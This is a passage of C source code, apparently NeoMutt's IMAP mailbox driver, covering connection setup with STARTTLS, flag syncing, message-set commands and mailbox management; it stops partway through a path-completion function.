/** * @file * IMAP network mailbox * * @authors * Copyright (C) 1996-1998,2012 Michael R. Elkins <me@mutt.org> * Copyright (C) 1996-1999 Brandon Long <blong@fiction.net> * Copyright (C) 1999-2009,2012,2017 Brendan Cully <brendan@kublai.com> * Copyright (C) 2018 Richard Russon <rich@flatcap.org> * * @copyright * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see <http://www.gnu.org/licenses/>. */ /** * @page imap_imap IMAP network mailbox * * Support for IMAP4rev1, with the occasional nod to IMAP 4. */ #include "config.h" #include <limits.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include "private.h" #include "mutt/lib.h" #include "config/lib.h" #include "email/lib.h" #include "core/lib.h" #include "conn/lib.h" #include "gui/lib.h" #include "mutt.h" #include "lib.h" #include "bcache/lib.h" #include "pattern/lib.h" #include "auth.h" #include "command_parse.h" #include "commands.h" #include "hook.h" #include "init.h" #include "message.h" #include "msn.h" #include "mutt_globals.h" #include "mutt_logging.h" #include "mutt_socket.h" #include "muttlib.h" #include "mx.h" #include "progress.h" #include "sort.h" #ifdef ENABLE_NLS #include <libintl.h> #endif struct stat; static const struct Command imap_commands[] = { // clang-format off { "subscribe-to", parse_subscribe_to, 0 }, { "unsubscribe-from", parse_unsubscribe_from, 0 }, // clang-format on }; /** * imap_init - Setup feature commands */ void imap_init(void) { COMMANDS_REGISTER(imap_commands); } /** * check_capabilities - Make sure we can log in to this server * @param adata Imap Account data * @retval 0 Success * @retval -1 Failure */ static int check_capabilities(struct ImapAccountData *adata) { if (imap_exec(adata, "CAPABILITY", IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) { imap_error("check_capabilities", adata->buf); return -1; } if (!((adata->capabilities & IMAP_CAP_IMAP4) || (adata->capabilities & IMAP_CAP_IMAP4REV1))) { mutt_error( _("This IMAP server is ancient. NeoMutt does not work with it.")); return -1; } return 0; } /** * get_flags - Make a simple list out of a FLAGS response * @param hflags List to store flags * @param s String containing flags * @retval ptr End of the flags * @retval NULL Failure * * return stream following FLAGS response */ static char *get_flags(struct ListHead *hflags, char *s) { /* sanity-check string */ const size_t plen = mutt_istr_startswith(s, "FLAGS"); if (plen == 0) { mutt_debug(LL_DEBUG1, "not a FLAGS response: %s\n", s); return NULL; } s += plen; SKIPWS(s); if (*s != '(') { mutt_debug(LL_DEBUG1, "bogus FLAGS response: %s\n", s); return NULL; } /* update caller's flags handle */ while (*s && (*s != ')')) { s++; SKIPWS(s); const char *flag_word = s; while (*s && (*s != ')') && !IS_SPACE(*s)) s++; const char ctmp = *s; *s = '\0'; if (*flag_word) mutt_list_insert_tail(hflags, mutt_str_dup(flag_word)); *s = ctmp; } /* note bad flags response */ if (*s != ')') { mutt_debug(LL_DEBUG1, "Unterminated FLAGS response: %s\n", s); mutt_list_free(hflags); return NULL; } s++; return s; } /** * set_flag - append str to flags if we currently have permission according to aclflag * @param[in] m Selected Imap Mailbox * @param[in] aclflag Permissions, see #AclFlags * @param[in] flag Does the email have the flag set? * @param[in] str Server flag name * @param[out] flags Buffer for server command * @param[in] flsize Length of buffer */ static void set_flag(struct Mailbox *m, AclFlags aclflag, int flag, const char *str, char *flags, size_t flsize) { if (m->rights & aclflag) if (flag && imap_has_flag(&imap_mdata_get(m)->flags, str)) mutt_str_cat(flags, flsize, str); } /** * make_msg_set - Make a message set * @param[in] m Selected Imap Mailbox * @param[in] buf Buffer to store message set * @param[in] flag Flags to match, e.g. #MUTT_DELETED * @param[in] changed Matched messages that have been altered * @param[in] invert Flag matches should be inverted * @param[out] pos Cursor used for multiple calls to this function * @retval num Messages in the set * * @note Headers must be in #SORT_ORDER. See imap_exec_msgset() for args. * Pos is an opaque pointer a la strtok(). It should be 0 at first call. */ static int make_msg_set(struct Mailbox *m, struct Buffer *buf, int flag, bool changed, bool invert, int *pos) { int count = 0; /* number of messages in message set */ unsigned int setstart = 0; /* start of current message range */ int n; bool started = false; struct ImapAccountData *adata = imap_adata_get(m); if (!adata || (adata->mailbox != m)) return -1; for (n = *pos; (n < m->msg_count) && (mutt_buffer_len(buf) < IMAP_MAX_CMDLEN); n++) { struct Email *e = m->emails[n]; if (!e) break; bool match = false; /* whether current message matches flag condition */ /* don't include pending expunged messages. * * TODO: can we unset active in cmd_parse_expunge() and * cmd_parse_vanished() instead of checking for index != INT_MAX. */ if (e->active && (e->index != INT_MAX)) { switch (flag) { case MUTT_DELETED: if (e->deleted != imap_edata_get(e)->deleted) match = invert ^ e->deleted; break; case MUTT_FLAG: if (e->flagged != imap_edata_get(e)->flagged) match = invert ^ e->flagged; break; case MUTT_OLD: if (e->old != imap_edata_get(e)->old) match = invert ^ e->old; break; case MUTT_READ: if (e->read != imap_edata_get(e)->read) match = invert ^ e->read; break; case MUTT_REPLIED: if (e->replied != imap_edata_get(e)->replied) match = invert ^ e->replied; break; case MUTT_TAG: if (e->tagged) match = true; break; case MUTT_TRASH: if (e->deleted && !e->purge) match = true; break; } } if (match && (!changed || e->changed)) { count++; if (setstart == 0) { setstart = imap_edata_get(e)->uid; if (started) { mutt_buffer_add_printf(buf, ",%u", imap_edata_get(e)->uid); } else { mutt_buffer_add_printf(buf, "%u", imap_edata_get(e)->uid); started = true; } } /* tie up if the last message also matches */ else if (n == (m->msg_count - 1)) mutt_buffer_add_printf(buf, ":%u", imap_edata_get(e)->uid); } /* End current set if message doesn't match or we've reached the end * of the mailbox via inactive messages following the last match. */ else if (setstart && (e->active || (n == adata->mailbox->msg_count - 1))) { if (imap_edata_get(m->emails[n - 1])->uid > setstart) mutt_buffer_add_printf(buf, ":%u", imap_edata_get(m->emails[n - 1])->uid); setstart = 0; } } *pos = n; return count; } /** * compare_flags_for_copy - Compare local flags against the server * @param e Email * @retval true Flags have changed * @retval false Flags match cached server flags * * The comparison of flags EXCLUDES the deleted flag. */ static bool compare_flags_for_copy(struct Email *e) { struct ImapEmailData *edata = e->edata; if (e->read != edata->read) return true; if (e->old != edata->old) return true; if (e->flagged != edata->flagged) return true; if (e->replied != edata->replied) return true; return false; } /** * sync_helper - Sync flag changes to the server * @param m Selected Imap Mailbox * @param right ACL, see #AclFlags * @param flag NeoMutt flag, e.g. #MUTT_DELETED * @param name Name of server flag * @retval >=0 Success, number of messages * @retval -1 Failure */ static int sync_helper(struct Mailbox *m, AclFlags right, int flag, const char *name) { int count = 0; int rc; char buf[1024]; if (!m) return -1; if ((m->rights & right) == 0) return 0; if ((right == MUTT_ACL_WRITE) && !imap_has_flag(&imap_mdata_get(m)->flags, name)) return 0; snprintf(buf, sizeof(buf), "+FLAGS.SILENT (%s)", name); rc = imap_exec_msgset(m, "UID STORE", buf, flag, true, false); if (rc < 0) return rc; count += rc; buf[0] = '-'; rc = imap_exec_msgset(m, "UID STORE", buf, flag, true, true); if (rc < 0) return rc; count += rc; return count; } /** * longest_common_prefix - Find longest prefix common to two strings * @param dest Destination buffer * @param src Source buffer * @param start Starting offset into string * @param dlen Destination buffer length * @retval num Length of the common string * * Trim dest to the length of the longest prefix it shares with src. */ static size_t longest_common_prefix(char *dest, const char *src, size_t start, size_t dlen) { size_t pos = start; while ((pos < dlen) && dest[pos] && (dest[pos] == src[pos])) pos++; dest[pos] = '\0'; return pos; } /** * complete_hosts - Look for completion matches for mailboxes * @param buf Partial mailbox name to complete * @param buflen Length of buffer * @retval 0 Success * @retval -1 Failure * * look for IMAP URLs to complete from defined mailboxes. Could be extended to * complete over open connections and account/folder hooks too. */ static int complete_hosts(char *buf, size_t buflen) { // struct Connection *conn = NULL; int rc = -1; size_t matchlen; matchlen = mutt_str_len(buf); struct MailboxList ml = STAILQ_HEAD_INITIALIZER(ml); neomutt_mailboxlist_get_all(&ml, NeoMutt, MUTT_MAILBOX_ANY); struct MailboxNode *np = NULL; STAILQ_FOREACH(np, &ml, entries) { if (!mutt_str_startswith(mailbox_path(np->mailbox), buf)) continue; if (rc) { mutt_str_copy(buf, mailbox_path(np->mailbox), buflen); rc = 0; } else longest_common_prefix(buf, mailbox_path(np->mailbox), matchlen, buflen); } neomutt_mailboxlist_clear(&ml); #if 0 TAILQ_FOREACH(conn, mutt_socket_head(), entries) { struct Url url = { 0 }; char urlstr[1024]; if (conn->account.type != MUTT_ACCT_TYPE_IMAP) continue; mutt_account_tourl(&conn->account, &url); /* FIXME: how to handle multiple users on the same host? */ url.user = NULL; url.path = NULL; url_tostring(&url, urlstr, sizeof(urlstr), 0); if (mutt_strn_equal(buf, urlstr, matchlen)) { if (rc) { mutt_str_copy(buf, urlstr, buflen); rc = 0; } else longest_common_prefix(buf, urlstr, matchlen, buflen); } } #endif return rc; } /** * imap_create_mailbox - Create a new mailbox * @param adata Imap Account data * @param mailbox Mailbox to create * @retval 0 Success * @retval -1 Failure */ int imap_create_mailbox(struct ImapAccountData *adata, char *mailbox) { char buf[2048], mbox[1024]; imap_munge_mbox_name(adata->unicode, mbox, sizeof(mbox), mailbox); snprintf(buf, sizeof(buf), "CREATE %s", mbox); if (imap_exec(adata, buf, IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) { mutt_error(_("CREATE failed: %s"), imap_cmd_trailer(adata)); return -1; } return 0; } /** * imap_access - Check permissions on an IMAP mailbox with a new connection * @param path Mailbox path * @retval 0 Success * @retval <0 Failure * * TODO: ACL checks. Right now we assume if it exists we can mess with it. * TODO: This method should take a Mailbox as parameter to be able to reuse the * existing connection. */ int imap_access(const char *path) { if (imap_path_status(path, false) >= 0) return 0; return -1; } /** * imap_rename_mailbox - Rename a mailbox * @param adata Imap Account data * @param oldname Existing mailbox * @param newname New name for mailbox * @retval 0 Success * @retval -1 Failure */ int imap_rename_mailbox(struct ImapAccountData *adata, char *oldname, const char *newname) { char oldmbox[1024]; char newmbox[1024]; int rc = 0; imap_munge_mbox_name(adata->unicode, oldmbox, sizeof(oldmbox), oldname); imap_munge_mbox_name(adata->unicode, newmbox, sizeof(newmbox), newname); struct Buffer *buf = mutt_buffer_pool_get(); mutt_buffer_printf(buf, "RENAME %s %s", oldmbox, newmbox); if (imap_exec(adata, mutt_b2s(buf), IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) rc = -1; mutt_buffer_pool_release(&buf); return rc; } /** * imap_delete_mailbox - Delete a mailbox * @param m Mailbox * @param path name of the mailbox to delete * @retval 0 Success * @retval -1 Failure */ int imap_delete_mailbox(struct Mailbox *m, char *path) { char buf[PATH_MAX + 7]; char mbox[PATH_MAX]; struct Url *url = url_parse(path); struct ImapAccountData *adata = imap_adata_get(m); imap_munge_mbox_name(adata->unicode, mbox, sizeof(mbox), url->path); url_free(&url); snprintf(buf, sizeof(buf), "DELETE %s", mbox); if (imap_exec(m->account->adata, buf, IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) return -1; return 0; } /** * imap_logout - Gracefully log out of server * @param adata Imap Account data */ static void imap_logout(struct ImapAccountData *adata) { /* we set status here to let imap_handle_untagged know we _expect_ to * receive a bye response (so it doesn't freak out and close the conn) */ if (adata->state == IMAP_DISCONNECTED) { return; } adata->status = IMAP_BYE; imap_cmd_start(adata, "LOGOUT"); if ((C_ImapPollTimeout <= 0) || (mutt_socket_poll(adata->conn, C_ImapPollTimeout) != 0)) { while (imap_cmd_step(adata) == IMAP_RES_CONTINUE) ; // do nothing } mutt_socket_close(adata->conn); adata->state = IMAP_DISCONNECTED; } /** * imap_logout_all - close all open connections * * Quick and dirty until we can make sure we've got all the context we need. */ void imap_logout_all(void) { struct Account *np = NULL; TAILQ_FOREACH(np, &NeoMutt->accounts, entries) { if (np->type != MUTT_IMAP) continue; struct ImapAccountData *adata = np->adata; if (!adata) continue; struct Connection *conn = adata->conn; if (!conn || (conn->fd < 0)) continue; mutt_message(_("Closing connection to %s..."), conn->account.host); imap_logout(np->adata); mutt_clear_error(); } } /** * imap_read_literal - Read bytes bytes from server into file * @param fp File handle for email file * @param adata Imap Account data * @param bytes Number of bytes to read * @param pbar Progress bar * @retval 0 Success * @retval -1 Failure * * Not explicitly buffered, relies on FILE buffering. * * @note Strips `\r` from `\r\n`. * Apparently even literals use `\r\n`-terminated strings ?! */ int imap_read_literal(FILE *fp, struct ImapAccountData *adata, unsigned long bytes, struct Progress *pbar) { char c; bool r = false; struct Buffer buf = { 0 }; // Do not allocate, maybe it won't be used if (C_DebugLevel >= IMAP_LOG_LTRL) mutt_buffer_alloc(&buf, bytes + 10); mutt_debug(LL_DEBUG2, "reading %ld bytes\n", bytes); for (unsigned long pos = 0; pos < bytes; pos++) { if (mutt_socket_readchar(adata->conn, &c) != 1) { mutt_debug(LL_DEBUG1, "error during read, %ld bytes read\n", pos); adata->status = IMAP_FATAL; mutt_buffer_dealloc(&buf); return -1; } if (r && (c != '\n')) fputc('\r', fp); if (c == '\r') { r = true; continue; } else r = false; fputc(c, fp); if (pbar && !(pos % 1024)) mutt_progress_update(pbar, pos, -1); if (C_DebugLevel >= IMAP_LOG_LTRL) mutt_buffer_addch(&buf, c); } if (C_DebugLevel >= IMAP_LOG_LTRL) { mutt_debug(IMAP_LOG_LTRL, "\n%s", buf.data); mutt_buffer_dealloc(&buf); } return 0; } /** * imap_notify_delete_email - Inform IMAP that an Email has been deleted * @param m Mailbox * @param e Email */ void imap_notify_delete_email(struct Mailbox *m, struct Email *e) { struct ImapMboxData *mdata = imap_mdata_get(m); struct ImapEmailData *edata = imap_edata_get(e); if (!mdata || !edata) return; imap_msn_remove(&mdata->msn, edata->msn - 1); edata->msn = 0; } /** * imap_expunge_mailbox - Purge messages from the server * @param m Mailbox * * Purge IMAP portion of expunged messages from the context. Must not be done * while something has a handle on any headers (eg inside pager or editor). * That is, check #IMAP_REOPEN_ALLOW. */ void imap_expunge_mailbox(struct Mailbox *m) { struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); if (!adata || !mdata) return; struct Email *e = NULL; #ifdef USE_HCACHE imap_hcache_open(adata, mdata); #endif for (int i = 0; i < m->msg_count; i++) { e = m->emails[i]; if (!e) break; if (e->index == INT_MAX) { mutt_debug(LL_DEBUG2, "Expunging message UID %u\n", imap_edata_get(e)->uid); e->deleted = true; imap_cache_del(m, e); #ifdef USE_HCACHE imap_hcache_del(mdata, imap_edata_get(e)->uid); #endif mutt_hash_int_delete(mdata->uid_hash, imap_edata_get(e)->uid, e); imap_edata_free((void **) &e->edata); } else { /* NeoMutt has several places where it turns off e->active as a * hack. For example to avoid FLAG updates, or to exclude from * imap_exec_msgset. * * Unfortunately, when a reopen is allowed and the IMAP_EXPUNGE_PENDING * flag becomes set (e.g. a flag update to a modified header), * this function will be called by imap_cmd_finish(). * * The ctx_update_tables() will free and remove these "inactive" headers, * despite that an EXPUNGE was not received for them. * This would result in memory leaks and segfaults due to dangling * pointers in the msn_index and uid_hash. * * So this is another hack to work around the hacks. We don't want to * remove the messages, so make sure active is on. */ e->active = true; } } #ifdef USE_HCACHE imap_hcache_close(mdata); #endif mailbox_changed(m, NT_MAILBOX_UPDATE); mailbox_changed(m, NT_MAILBOX_RESORT); } /** * imap_open_connection - Open an IMAP connection * @param adata Imap Account data * @retval 0 Success * @retval -1 Failure */ int imap_open_connection(struct ImapAccountData *adata) { if (mutt_socket_open(adata->conn) < 0) return -1; adata->state = IMAP_CONNECTED; if (imap_cmd_step(adata) != IMAP_RES_OK) { imap_close_connection(adata); return -1; } if (mutt_istr_startswith(adata->buf, "* OK")) { if (!mutt_istr_startswith(adata->buf, "* OK [CAPABILITY") && check_capabilities(adata)) { goto bail; } #ifdef USE_SSL /* Attempt STARTTLS if available and desired. */ if ((adata->conn->ssf == 0) && (C_SslForceTls || (adata->capabilities & IMAP_CAP_STARTTLS))) { enum QuadOption ans; if (C_SslForceTls) ans = MUTT_YES; else if ((ans = query_quadoption(C_SslStarttls, _("Secure connection with TLS?"))) == MUTT_ABORT) { goto err_close_conn; } if (ans == MUTT_YES) { enum ImapExecResult rc = imap_exec(adata, "STARTTLS", IMAP_CMD_SINGLE); // Clear any data after the STARTTLS acknowledgement mutt_socket_empty(adata->conn); if (rc == IMAP_EXEC_FATAL) goto bail; if (rc != IMAP_EXEC_ERROR) { if (mutt_ssl_starttls(adata->conn)) { mutt_error(_("Could not negotiate TLS connection")); goto err_close_conn; } else { /* RFC2595 demands we recheck CAPABILITY after TLS completes. */ if (imap_exec(adata, "CAPABILITY", IMAP_CMD_NO_FLAGS)) goto bail; } } } } if (C_SslForceTls && (adata->conn->ssf == 0)) { mutt_error(_("Encrypted connection unavailable")); goto err_close_conn; } #endif } else if (mutt_istr_startswith(adata->buf, "* PREAUTH")) { #ifdef USE_SSL /* Unless using a secure $tunnel, an unencrypted PREAUTH response may be a * MITM attack. The only way to stop "STARTTLS" MITM attacks is via * $ssl_force_tls: an attacker can easily spoof "* OK" and strip the * STARTTLS capability. So consult $ssl_force_tls, not $ssl_starttls, to * decide whether to abort. Note that if using $tunnel and * $tunnel_is_secure, adata->conn->ssf will be set to 1. */ if ((adata->conn->ssf == 0) && C_SslForceTls) { mutt_error(_("Encrypted connection unavailable")); goto err_close_conn; } #endif adata->state = IMAP_AUTHENTICATED; if (check_capabilities(adata) != 0) goto bail; FREE(&adata->capstr); } else { imap_error("imap_open_connection()", adata->buf); goto bail; } return 0; #ifdef USE_SSL err_close_conn: imap_close_connection(adata); #endif bail: FREE(&adata->capstr); return -1; } /** * imap_close_connection - Close an IMAP connection * @param adata Imap Account data */ void imap_close_connection(struct ImapAccountData *adata) { if (adata->state != IMAP_DISCONNECTED) { mutt_socket_close(adata->conn); adata->state = IMAP_DISCONNECTED; } adata->seqno = 0; adata->nextcmd = 0; adata->lastcmd = 0; adata->status = 0; memset(adata->cmds, 0, sizeof(struct ImapCommand) * adata->cmdslots); } /** * imap_has_flag - Does the flag exist in the list * @param flag_list List of server flags * @param flag Flag to find * @retval true Flag exists * * Do a caseless comparison of the flag against a flag list, return true if * found or flag list has '\*'. Note that "flag" might contain additional * whitespace at the end, so we really need to compare up to the length of each * element in "flag_list". */ bool imap_has_flag(struct ListHead *flag_list, const char *flag) { if (STAILQ_EMPTY(flag_list)) return false; const size_t flaglen = mutt_str_len(flag); struct ListNode *np = NULL; STAILQ_FOREACH(np, flag_list, entries) { const size_t nplen = strlen(np->data); if ((flaglen >= nplen) && ((flag[nplen] == '\0') || (flag[nplen] == ' ')) && mutt_istrn_equal(np->data, flag, nplen)) { return true; } if (mutt_str_equal(np->data, "\\*")) return true; } return false; } /** * compare_uid - Compare two Emails by UID - Implements ::sort_t */ static int compare_uid(const void *a, const void *b) { const struct Email *ea = *(struct Email const *const *) a; const struct Email *eb = *(struct Email const *const *) b; return imap_edata_get((struct Email *) ea)->uid - imap_edata_get((struct Email *) eb)->uid; } /** * imap_exec_msgset - Prepare commands for all messages matching conditions * @param m Selected Imap Mailbox * @param pre prefix commands * @param post postfix commands * @param flag flag type on which to filter, e.g. #MUTT_REPLIED * @param changed include only changed messages in message set * @param invert invert sense of flag, eg #MUTT_READ matches unread messages * @retval num Matched messages * @retval -1 Failure * * pre/post: commands are of the form "%s %s %s %s", tag, pre, message set, post * Prepares commands for all messages matching conditions * (must be flushed with imap_exec) */ int imap_exec_msgset(struct Mailbox *m, const char *pre, const char *post, int flag, bool changed, bool invert) { struct ImapAccountData *adata = imap_adata_get(m); if (!adata || (adata->mailbox != m)) return -1; struct Email **emails = NULL; short oldsort; int pos; int rc; int count = 0; struct Buffer cmd = mutt_buffer_make(0); /* We make a copy of the headers just in case resorting doesn't give exactly the original order (duplicate messages?), because other parts of the ctx are tied to the header order. This may be overkill. */ oldsort = C_Sort; if (C_Sort != SORT_ORDER) { emails = m->emails; // We overcommit here, just in case new mail arrives whilst we're sync-ing m->emails = mutt_mem_malloc(m->email_max * sizeof(struct Email *)); memcpy(m->emails, emails, m->email_max * sizeof(struct Email *)); C_Sort = SORT_ORDER; qsort(m->emails, m->msg_count, sizeof(struct Email *), compare_uid); } pos = 0; do { mutt_buffer_reset(&cmd); mutt_buffer_add_printf(&cmd, "%s ", pre); rc = make_msg_set(m, &cmd, flag, changed, invert, &pos); if (rc > 0) { mutt_buffer_add_printf(&cmd, " %s", post); if (imap_exec(adata, cmd.data, IMAP_CMD_QUEUE) != IMAP_EXEC_SUCCESS) { rc = -1; goto out; } count += rc; } } while (rc > 0); rc = count; out: mutt_buffer_dealloc(&cmd); if (oldsort != C_Sort) { C_Sort = oldsort; FREE(&m->emails); m->emails = emails; } return rc; } /** * imap_sync_message_for_copy - Update server to reflect the flags of a single message * @param[in] m Mailbox * @param[in] e Email * @param[in] cmd Buffer for the command string * @param[out] err_continue Did the user force a continue? * @retval 0 Success * @retval -1 Failure * * Update the IMAP server to reflect the flags for a single message before * performing a "UID COPY". * * @note This does not sync the "deleted" flag state, because it is not * desirable to propagate that flag into the copy. */ int imap_sync_message_for_copy(struct Mailbox *m, struct Email *e, struct Buffer *cmd, enum QuadOption *err_continue) { struct ImapAccountData *adata = imap_adata_get(m); if (!adata || (adata->mailbox != m)) return -1; char flags[1024]; char *tags = NULL; char uid[11]; if (!compare_flags_for_copy(e)) { if (e->deleted == imap_edata_get(e)->deleted) e->changed = false; return 0; } snprintf(uid, sizeof(uid), "%u", imap_edata_get(e)->uid); mutt_buffer_reset(cmd); mutt_buffer_addstr(cmd, "UID STORE "); mutt_buffer_addstr(cmd, uid); flags[0] = '\0'; set_flag(m, MUTT_ACL_SEEN, e->read, "\\Seen ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, e->old, "Old ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, e->flagged, "\\Flagged ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, e->replied, "\\Answered ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_DELETE, imap_edata_get(e)->deleted, "\\Deleted ", flags, sizeof(flags)); if (m->rights & MUTT_ACL_WRITE) { /* restore system flags */ if (imap_edata_get(e)->flags_system) mutt_str_cat(flags, sizeof(flags), imap_edata_get(e)->flags_system); /* set custom flags */ tags = driver_tags_get_with_hidden(&e->tags); if (tags) { mutt_str_cat(flags, sizeof(flags), tags); FREE(&tags); } } mutt_str_remove_trailing_ws(flags); /* UW-IMAP is OK with null flags, Cyrus isn't. The only solution is to * explicitly revoke all system flags (if we have permission) */ if (*flags == '\0') { set_flag(m, MUTT_ACL_SEEN, 1, "\\Seen ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, 1, "Old ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, 1, "\\Flagged ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_WRITE, 1, "\\Answered ", flags, sizeof(flags)); set_flag(m, MUTT_ACL_DELETE, !imap_edata_get(e)->deleted, "\\Deleted ", flags, sizeof(flags)); /* erase custom flags */ if ((m->rights & MUTT_ACL_WRITE) && imap_edata_get(e)->flags_remote) mutt_str_cat(flags, sizeof(flags), imap_edata_get(e)->flags_remote); mutt_str_remove_trailing_ws(flags); mutt_buffer_addstr(cmd, " -FLAGS.SILENT ("); } else mutt_buffer_addstr(cmd, " FLAGS.SILENT ("); mutt_buffer_addstr(cmd, flags); mutt_buffer_addstr(cmd, ")"); /* after all this it's still possible to have no flags, if you * have no ACL rights */ if (*flags && (imap_exec(adata, cmd->data, IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) && err_continue && (*err_continue != MUTT_YES)) { *err_continue = imap_continue("imap_sync_message: STORE failed", adata->buf); if (*err_continue != MUTT_YES) return -1; } /* server have now the updated flags */ FREE(&imap_edata_get(e)->flags_remote); imap_edata_get(e)->flags_remote = driver_tags_get_with_hidden(&e->tags); if (e->deleted == imap_edata_get(e)->deleted) e->changed = false; return 0; } /** * imap_check_mailbox - use the NOOP or IDLE command to poll for new mail * @param m Mailbox * @param force Don't wait * @retval #MUTT_REOPENED mailbox has been externally modified * @retval #MUTT_NEW_MAIL new mail has arrived * @retval 0 no change * @retval -1 error */ int imap_check_mailbox(struct Mailbox *m, bool force) { if (!m || !m->account) return -1; struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); /* overload keyboard timeout to avoid many mailbox checks in a row. * Most users don't like having to wait exactly when they press a key. */ int rc = 0; /* try IDLE first, unless force is set */ if (!force && C_ImapIdle && (adata->capabilities & IMAP_CAP_IDLE) && ((adata->state != IMAP_IDLE) || (mutt_date_epoch() >= adata->lastread + C_ImapKeepalive))) { if (imap_cmd_idle(adata) < 0) return -1; } if (adata->state == IMAP_IDLE) { while ((rc = mutt_socket_poll(adata->conn, 0)) > 0) { if (imap_cmd_step(adata) != IMAP_RES_CONTINUE) { mutt_debug(LL_DEBUG1, "Error reading IDLE response\n"); return -1; } } if (rc < 0) { mutt_debug(LL_DEBUG1, "Poll failed, disabling IDLE\n"); adata->capabilities &= ~IMAP_CAP_IDLE; // Clear the flag } } if ((force || ((adata->state != IMAP_IDLE) && (mutt_date_epoch() >= adata->lastread + C_Timeout))) && (imap_exec(adata, "NOOP", IMAP_CMD_POLL) != IMAP_EXEC_SUCCESS)) { return -1; } /* We call this even when we haven't run NOOP in case we have pending * changes to process, since we can reopen here. */ imap_cmd_finish(adata); if (mdata->check_status & IMAP_EXPUNGE_PENDING) rc = MUTT_REOPENED; else if (mdata->check_status & IMAP_NEWMAIL_PENDING) rc = MUTT_NEW_MAIL; else if (mdata->check_status & IMAP_FLAGS_PENDING) rc = MUTT_FLAGS; mdata->check_status = IMAP_OPEN_NO_FLAGS; return rc; } /** * imap_status - Refresh the number of total and new messages * @param adata IMAP Account data * @param mdata IMAP Mailbox data * @param queue Queue the STATUS command * @retval num Total number of messages */ static int imap_status(struct ImapAccountData *adata, struct ImapMboxData *mdata, bool queue) { char *uidvalidity_flag = NULL; char cmd[2048]; if (!adata || !mdata) return -1; /* Don't issue STATUS on the selected mailbox, it will be NOOPed or * IDLEd elsewhere. * adata->mailbox may be NULL for connections other than the current * mailbox's. */ if (adata->mailbox && (adata->mailbox->mdata == mdata)) { adata->mailbox->has_new = false; return mdata->messages; } if (adata->capabilities & IMAP_CAP_IMAP4REV1) uidvalidity_flag = "UIDVALIDITY"; else if (adata->capabilities & IMAP_CAP_STATUS) uidvalidity_flag = "UID-VALIDITY"; else { mutt_debug(LL_DEBUG2, "Server doesn't support STATUS\n"); return -1; } snprintf(cmd, sizeof(cmd), "STATUS %s (UIDNEXT %s UNSEEN RECENT MESSAGES)", mdata->munge_name, uidvalidity_flag); int rc = imap_exec(adata, cmd, queue ? IMAP_CMD_QUEUE : IMAP_CMD_NO_FLAGS | IMAP_CMD_POLL); if (rc < 0) { mutt_debug(LL_DEBUG1, "Error queueing command\n"); return rc; } return mdata->messages; } /** * imap_mbox_check_stats - Check the Mailbox statistics - Implements MxOps::mbox_check_stats() */ static int imap_mbox_check_stats(struct Mailbox *m, int flags) { return imap_mailbox_status(m, true); } /** * imap_path_status - Refresh the number of total and new messages * @param path Mailbox path * @param queue Queue the STATUS command * @retval num Total number of messages */ int imap_path_status(const char *path, bool queue) { struct Mailbox *m = mx_mbox_find2(path); const bool is_temp = !m; if (is_temp) { m = mx_path_resolve(path); if (!mx_mbox_ac_link(m)) { mailbox_free(&m); return 0; } } int rc = imap_mailbox_status(m, queue); if (is_temp) { mx_ac_remove(m); } return rc; } /** * imap_mailbox_status - Refresh the number of total and new messages * @param m Mailbox * @param queue Queue the STATUS command * @retval num Total number of messages * @retval -1 Error * * @note Prepare the mailbox if we are not connected */ int imap_mailbox_status(struct Mailbox *m, bool queue) { struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); if (!adata || !mdata) return -1; return imap_status(adata, mdata, queue); } /** * imap_subscribe - Subscribe to a mailbox * @param path Mailbox path * @param subscribe True: subscribe, false: unsubscribe * @retval 0 Success * @retval -1 Failure */ int imap_subscribe(char *path, bool subscribe) { struct ImapAccountData *adata = NULL; struct ImapMboxData *mdata = NULL; char buf[2048]; struct Buffer err; if (imap_adata_find(path, &adata, &mdata) < 0) return -1; if (subscribe) mutt_message(_("Subscribing to %s..."), mdata->name); else mutt_message(_("Unsubscribing from %s..."), mdata->name); snprintf(buf, sizeof(buf), "%sSUBSCRIBE %s", subscribe ? "" : "UN", mdata->munge_name); if (imap_exec(adata, buf, IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) { imap_mdata_free((void *) &mdata); return -1; } if (C_ImapCheckSubscribed) { char mbox[1024]; mutt_buffer_init(&err); err.dsize = 256; err.data = mutt_mem_malloc(err.dsize); size_t len = snprintf(mbox, sizeof(mbox), "%smailboxes ", subscribe ? "" : "un"); imap_quote_string(mbox + len, sizeof(mbox) - len, path, true); if (mutt_parse_rc_line(mbox, &err)) mutt_debug(LL_DEBUG1, "Error adding subscribed mailbox: %s\n", err.data); FREE(&err.data); } if (subscribe) mutt_message(_("Subscribed to %s"), mdata->name); else mutt_message(_("Unsubscribed from %s"), mdata->name); imap_mdata_free((void *) &mdata); return 0; } /** * imap_complete - Try to complete an IMAP folder path * @param buf Buffer for result * @param buflen Length of buffer * @param path Partial mailbox name to complete * @retval 0 Success * @retval -1 Failure * * Given a partial IMAP folder path, return a string which adds as much to the * path as is unique */ int imap_complete(char *buf, size_t buflen, const char *path) { struct ImapAccountData *adata = NULL; struct ImapMboxData *mdata = NULL; char tmp[2048]; struct ImapList listresp = { 0 }; char completion[1024]; int clen; size_t matchlen = 